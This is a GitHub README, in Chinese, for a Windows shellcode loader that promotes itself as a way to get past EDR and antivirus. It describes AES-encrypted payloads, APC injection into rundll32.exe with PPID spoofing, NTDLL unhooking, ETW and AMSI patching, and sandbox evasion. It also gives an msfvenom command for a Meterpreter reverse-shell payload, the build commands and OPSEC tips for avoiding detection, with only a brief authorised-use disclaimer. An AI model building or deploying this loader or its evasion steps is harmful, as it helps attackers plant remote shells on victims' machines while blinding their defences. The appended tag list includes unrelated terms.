28Zaaky/Shellcode-Ldr
GitHub: 28Zaaky/Shellcode-Ldr
一款集成 AES-256 加密、间接系统调用和多层规避技术的 Windows Shellcode 加载器,用于绕过 EDR/AV 防护。
Stars: 25 | Forks: 8
# XVX Ldr
具备 AES-256-CBC 加密和 EDR/AV 规避技术的 Windows shellcode 加载器。
## 它是什么?
一种以隐蔽模式将 shellcode(如 Meterpreter)注入到合法 Windows 进程(rundll32.exe)中的加载器。
通过使用间接系统调用(indirect syscalls)和解除 NTDLL 挂钩来绕过 EDR。
## 架构
```
loader_v3.c - Main entry point
build.ps1 - Automated build script
tools/ - AES encryptor for payloads
modules/
├── crypto.c - AES-256-CBC (encrypt/decrypt)
├── injection.c - APC injection + PPID spoofing
├── unhooking.c - Clean NTDLL restoration
├── etw_bypass.c - Disable ETW telemetry
├── amsi_bypass.c - Neutralize AMSI
├── sandbox_evasion.c - VM/sandbox detection
└── syscalls.c - Indirect syscalls
```
## 快速构建
```
# 1. 在 Kali 上生成 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f raw -o meterpreter.bin
# 2. 复制到 payload/
# 3. 编译
.\build.ps1
# 结果:output\Loader.exe (静默, stripped)
```
## 工作原理
**阶段 1:沙箱规避**
- 检查虚拟机(VMware, VirtualBox, Hyper-V)
- 验证 RAM/CPU/磁盘
- 运行时间 > 10 分钟
**阶段 2:解除挂钩**
- 从 C:\Windows\System32 加载新鲜的 ntdll.dll 副本
- 替换内存中的 .text 节(EDR 挂钩所在地)
- 刷新指令缓存
**阶段 3:ETW/AMSI 绕过**
- 修补 EtwEventWrite
- 如果已加载,修补 AmsiScanBuffer
**阶段 4:注入**
- 以挂起模式创建 rundll32.exe
- PPID 欺骗至 explorer.exe
- 分配 RWX 内存
- 写入 shellcode
- 在主线程上使用 APC
- 恢复线程 → shellcode 执行
## 手动编译
```
# DEBUG (控制台可见,用于测试)
gcc -O0 loader_v3.c modules\*.c modules\dosyscall.o -o Loader_DEBUG.exe -ladvapi32 -lntdll -luser32
# PROD (静默, 优化, stripped)
gcc -O2 -DPRODUCTION loader_v3.c modules\*.c modules\dosyscall.o -o Loader_PROD.exe -ladvapi32 -lntdll -luser32 -mwindows -s
```
## OPSEC
- 在 filescan.io 或 antiscan.me 上测试
- 针对不同目标更改 payload(轮换 AES 密钥)
- 检查连接:`netstat -ano | findstr `
- 使用后结束 rundll32.exe 进程
## 检测
**已缓解项:**
- 系统调用字符串已混淆(使用 SysAllocMem 而非 NtAllocateVirtualMemory)
- 无可疑导入(全部通过系统调用)
- ETW 已修补(无遥测日志)
- EDR 挂钩已绕过
**仍可见项:**
- 高熵(AES-256 = 随机数据)
- RWX 内存分配(shellcode 需要)
- 注入行为(可被高级 EDR 检测)
- 孤立 rundll32.exe 进程(无参数)
## 已知问题
如果清理后 `dosyscall.o` 丢失:
```
cd modules
gcc -c dosyscall.S -o dosyscall.o
```
## 一些不错的参考资料
- https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
- https://blog.deeb.ch/posts/maldev-myths
- https://cirosec.de/en/news/loader-dev-4-amsi-and-etw
## 联系方式
28Zaakypro@proton.me
**免责声明:** 仅供授权红队 / 渗透测试使用。非法使用 = 责任自负。
标签:AES-256加密, AI合规, AMSI绕过, APC注入, Chrome扩展, Conpot, DNS 反向解析, EDR绕过, ETW绕过, SSH蜜罐, TGT, Windows安全, 云资产清单, 内存解钩, 威胁检测, 客户端加密, 客户端加密, 恶意软件, 攻防演练, 沙箱逃逸, 进程注入, 逆向工程, 邮件钓鱼, 间接系统调用, 高交互蜜罐